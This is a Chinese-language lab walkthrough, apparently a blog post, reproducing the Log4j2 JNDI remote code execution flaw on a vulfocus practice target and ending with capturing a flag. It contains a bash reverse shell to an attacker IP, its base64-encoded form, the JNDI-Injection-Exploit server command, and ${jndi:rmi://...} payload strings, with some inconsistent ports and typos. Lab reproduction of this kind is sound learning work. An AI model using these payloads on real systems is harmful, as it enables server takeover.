漏洞复现vulfocus靶场来来实现的,靶场搭建可以参考下面这个博客,或者可以看一下搭建vulfocus靶场的博客,有很多很好的教程
安装vulfocus教程_ANii_Aini的博客-CSDN博客
二,启动靶场
1,首先就是下载靶场
2,回到首页启动靶场
?3,启动以后可以看到访问地址,在浏览器进行访问
4,可以看到如下页面,继续点击????
5,看到?如下页面表示靶场启动成功了
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。
? log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大,开发人员除了直接记录文本外,还可以使用简单表达式记录动态内容,例如:
logger.info("system propety: ${sys:user.dir}");
${} 进行包裹,上述示例中,sys:user.dir 表示使用sys解析器,查找user.dir的内容,即在系统环境变量中查找user.dir,以替换 ${sys:user.dir} 进行打印。
? log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头。
jndi 解析器将通过 jdk 获取 jndi 对象,并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式,获取方式可以称为schema,所以正常的包含jndi的日志记录方式如下:
logger.info("system propety: ${jndi:schema://url}");
?所以我们只要搭建一个jndi服务器,在某个文件里生成我们的反向shell,然后构造payload,类似
${jndi:rmi:192.168.31.150:1099/xxxx} ,这个payload到了服务端以后通过Log4j2日志模块解析,就会去我们搭建的jndi服务器也就是192.168.31:1089请求xxxx的反向shell文件,从未跟我们的主机连接上了
NDI全称是Java Naming and Directory Interface(java命名和目录接口)JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
靶场:kali2023? 192.168.31.150
攻击机:kali2022 192.168.31.20
失败攻击机:kali2023 192.168.31.160(有个失败的错误,想给大家看看,大家用kali2022即可)
我这是下载的源代码,编译成jar包使用的,编译过程很有课程编译不成功或报错
可以按照步骤进行编译,或者跳过编译步骤,直接找别人编译好的jar包进行利用
github地址:https://github.com/welk1n/JNDI-Injection-Exploit? (源码,需要编译)
下载下来放到攻击机上面
进行解压
解压以后看到解压文件了
?可以改个名字,让名字短一点,比如就叫jndi,然后 cd jndi 进入到文件里面,进行编译
首先需要安装编译用的maven包 ,apt-get install maven 安装maven?
查看maven版本,如果能看到版本号就说明安装成功了
mvn -version
接下来就是用maven包进行编译的过程(要进入到jndi目录下进行编译)
mvn clean
会多一个target文件
mvn compile
mvn package -Dmaven.test.skip=true
?运行成功以后到target目录下就可以看到生成的jar包
(我运行了俩次,所以两个jar包)
大家也可以直接去找jar包,网上有的,能找得到,就不需要进行编译了?
先开启一个端口进行监听,过一会用于反弹shell连接,我们就开8888端口
nc -lvvp 8888
这是反向shell内容
bash -i >& /dev/tcp/192.168.31.20/7777 0>&1
?反向shell进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzg4ODggMD4mMQ==
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.31.20
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar ?-C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" ?-A ?192.168.31.20
上面红色内容分别是base64编码后的反向shell内容和攻击机的IP地址,替换成自己的即可
运行之后拿到了payload(箭头的地方就是),就这样jndi服务器搭建成功了
打开bp抓包工具?
代理----选项----监听10809(这个端口号可以随便设置,但是不能跟本地默认端口号冲突)
开启电脑代理,让流量都发送到本机10809端口
回到靶场页面,进行抓包,放到重放器里面
构造payload,格式如下,红色的地方就是启动jndi服务器时生成的,进行替换即可
下面payload都替换试一下,我第一个没成功,中间的payload才成功的
${cndi:rmi://192.168.31.160:1099/qeb93k}
${cndi:rmi://192.168.31.160:1099/qeb93k}
需要对参数进行URL编码
?编码后是这样,然后发送即可
拿到相应 200 ok
?然后回来看反弹shell连接是否成功
结果发现报了如下错误,反弹shell也没成功,这就是我想说的错误
(为了让老铁们闭坑,我故意把这个错误演示出来了)
我也没找到什么原因,推测应该是JDK版本,这是kali2023当攻击机以后出现的错误
我换了kali2022就没有这个错误了,如果大家遇到这个错误可以使用kali2022进行漏洞复现
(kali2022当攻击主机就没有这个错误了)
?我换回kali2022搭建jndi服务器(步骤同上)
URL编码,进行发送
拿到 200 ok?
?没有报错,而且反弹shell连接成功
?先cd /tpm 然后ls? 拿到 falag-{xxxxxxx}
复制flag-{xxxxxx} 内容,粘贴到这里,就可以成功了
?如果遇到问题,可以留言,欢迎留言技术交流